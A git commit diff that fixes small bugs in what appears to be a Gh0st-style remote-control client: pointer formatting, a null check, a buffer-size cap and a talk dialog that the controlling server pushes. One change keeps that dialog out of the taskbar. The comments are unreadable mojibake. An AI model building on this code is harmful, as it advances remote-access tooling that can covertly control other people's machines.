fix: Hidden bugs in IOCPClient and CTalkManager
This commit is contained in:
@@ -17,7 +17,7 @@ using namespace std;
|
|||||||
|
|
||||||
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||||
{
|
{
|
||||||
printf("new CAudioManager %x\n", this);
|
printf("new CAudioManager %p\n", this);
|
||||||
|
|
||||||
m_bIsWorking = FALSE;
|
m_bIsWorking = FALSE;
|
||||||
m_AudioObject = NULL;
|
m_AudioObject = NULL;
|
||||||
@@ -110,7 +110,7 @@ CAudioManager::~CAudioManager()
|
|||||||
delete [] szPacket;
|
delete [] szPacket;
|
||||||
szPacket = NULL;
|
szPacket = NULL;
|
||||||
}
|
}
|
||||||
printf("~CAudioManager %x\n", this);
|
printf("~CAudioManager %p\n", this);
|
||||||
}
|
}
|
||||||
|
|
||||||
//USB
|
//USB
|
||||||
|
|||||||
@@ -133,6 +133,14 @@ int main(int argc, const char *argv[])
|
|||||||
}
|
}
|
||||||
printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
printf("[server] %s:%d\n", g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort());
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1>ǰģ<C7B0><C4A3><EFBFBD>ľ<EFBFBD><C4BE><EFBFBD><EFBFBD><EFBFBD>HINSTANCE<43><45>
|
||||||
|
g_hInstance = GetModuleHandle(NULL);
|
||||||
|
if (g_hInstance != NULL) {
|
||||||
|
std::cout << "HINSTANCE: " << g_hInstance << std::endl;
|
||||||
|
} else {
|
||||||
|
std::cerr << "Failed to get HINSTANCE" << std::endl;
|
||||||
|
}
|
||||||
|
|
||||||
do{
|
do{
|
||||||
g_bExit = 0;
|
g_bExit = 0;
|
||||||
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||||||
|
|||||||
@@ -266,6 +266,7 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
|
//<2F><>ѹ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ݺͳ<DDBA><CDB3>ȴ<EFBFBD><C8B4>ݸ<EFBFBD><DDB8><EFBFBD><EFBFBD><EFBFBD>Manager<65><72><EFBFBD>д<EFBFBD><D0B4><EFBFBD> ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD>̬
|
||||||
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
//<2F><><EFBFBD><EFBFBD>m_pManager<65>е<EFBFBD><D0B5><EFBFBD><EFBFBD>һ<E0B2BB><D2BB><EFBFBD><EFBFBD><EFBFBD>ɵ<EFBFBD><C9B5>õ<EFBFBD>OnReceive<76><65><EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||||
|
if (m_Manager)
|
||||||
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
|
m_Manager->OnReceive((PBYTE)m_DeCompressedBuffer.GetBuffer(0),
|
||||||
m_DeCompressedBuffer.GetBufferLength());
|
m_DeCompressedBuffer.GetBufferLength());
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ using namespace std;
|
|||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
char g_Buffer[0x1000] = {0};
|
char g_Buffer[TALK_DLG_MAXLEN] = {0};
|
||||||
UINT_PTR g_Event = 0;
|
UINT_PTR g_Event = 0;
|
||||||
|
|
||||||
IOCPClient* g_IOCPClientObject = NULL;
|
IOCPClient* g_IOCPClientObject = NULL;
|
||||||
@@ -33,6 +33,7 @@ CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObjec
|
|||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
g_IOCPClientObject = ClientObject;
|
g_IOCPClientObject = ClientObject;
|
||||||
WaitForDialogOpen();
|
WaitForDialogOpen();
|
||||||
|
cout << "Talk <20><><EFBFBD><EFBFBD>\n";
|
||||||
}
|
}
|
||||||
|
|
||||||
CTalkManager::~CTalkManager()
|
CTalkManager::~CTalkManager()
|
||||||
@@ -52,7 +53,7 @@ VOID CTalkManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
|
|
||||||
default:
|
default:
|
||||||
{
|
{
|
||||||
memcpy(g_Buffer, szBuffer, ulLength);
|
memcpy(g_Buffer, szBuffer, min(ulLength, sizeof(g_Buffer)));
|
||||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
|
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>DLG
|
||||||
DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
DialogBox(g_hInstance,MAKEINTRESOURCE(IDD_DIALOG),
|
||||||
NULL,DialogProc); //SDK C MFC C++
|
NULL,DialogProc); //SDK C MFC C++
|
||||||
@@ -73,9 +74,26 @@ int CALLBACK CTalkManager::DialogProc(HWND hDlg, unsigned int uMsg,
|
|||||||
}
|
}
|
||||||
case WM_INITDIALOG:
|
case WM_INITDIALOG:
|
||||||
{
|
{
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ
|
||||||
|
LONG_PTR exStyle = GetWindowLongPtr(hDlg, GWL_EXSTYLE);
|
||||||
|
// <20>Ƴ<EFBFBD> WS_EX_APPWINDOW <20><>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> WS_EX_TOOLWINDOW <20><>ʽ
|
||||||
|
exStyle &= ~WS_EX_APPWINDOW;
|
||||||
|
exStyle |= WS_EX_TOOLWINDOW;
|
||||||
|
SetWindowLongPtr(hDlg, GWL_EXSTYLE, exStyle);
|
||||||
|
|
||||||
OnInitDialog(hDlg);
|
OnInitDialog(hDlg);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case WM_COMMAND:
|
||||||
|
if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL)
|
||||||
|
{
|
||||||
|
KillTimer(hDlg, ID_TIMER_CLOSE_WINDOW);
|
||||||
|
BYTE bToken = TOKEN_TALKCMPLT;
|
||||||
|
g_IOCPClientObject->OnServerSending((char*)&bToken, 1);
|
||||||
|
EndDialog(hDlg, LOWORD(wParam));
|
||||||
|
return (INT_PTR)TRUE;
|
||||||
|
}
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
|
|||||||
@@ -17,6 +17,8 @@
|
|||||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Է<EFBFBD><D4B7><EFBFBD><EFBFBD>仯ʱ<E4BBAF><CAB1>Ӧ<EFBFBD>ø<EFBFBD><C3B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>Ա<EFBFBD><D4B1>Ա<EFBFBD><D4B1>س<EFBFBD><D8B3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
#define DLL_VERSION "20241229" // DLL<4C>汾
|
#define DLL_VERSION "20241229" // DLL<4C>汾
|
||||||
|
|
||||||
|
#define TALK_DLG_MAXLEN 1024 // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD>б<EFBFBD>
|
// <20><><EFBFBD><EFBFBD>ö<EFBFBD><C3B6><EFBFBD>б<EFBFBD>
|
||||||
enum
|
enum
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -25,7 +25,7 @@ void CTalkDlg::DoDataExchange(CDataExchange* pDX)
|
|||||||
{
|
{
|
||||||
CDialog::DoDataExchange(pDX);
|
CDialog::DoDataExchange(pDX);
|
||||||
DDX_Control(pDX, IDC_EDIT_TALK, m_EditTalk);
|
DDX_Control(pDX, IDC_EDIT_TALK, m_EditTalk);
|
||||||
m_EditTalk.SetLimitText(2048);
|
m_EditTalk.SetLimitText(TALK_DLG_MAXLEN);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user